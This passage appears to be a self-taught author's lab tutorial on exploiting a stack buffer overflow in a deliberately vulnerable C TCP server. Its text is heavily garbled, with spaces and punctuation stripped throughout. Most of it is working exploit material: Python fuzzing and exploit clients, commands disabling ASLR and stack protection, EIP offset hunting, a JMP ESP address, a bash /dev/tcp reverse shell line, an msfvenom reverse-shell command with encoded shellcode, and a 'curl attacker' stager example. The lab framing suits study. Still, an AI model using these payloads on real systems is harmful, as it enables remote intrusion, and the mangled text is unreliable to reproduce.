andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

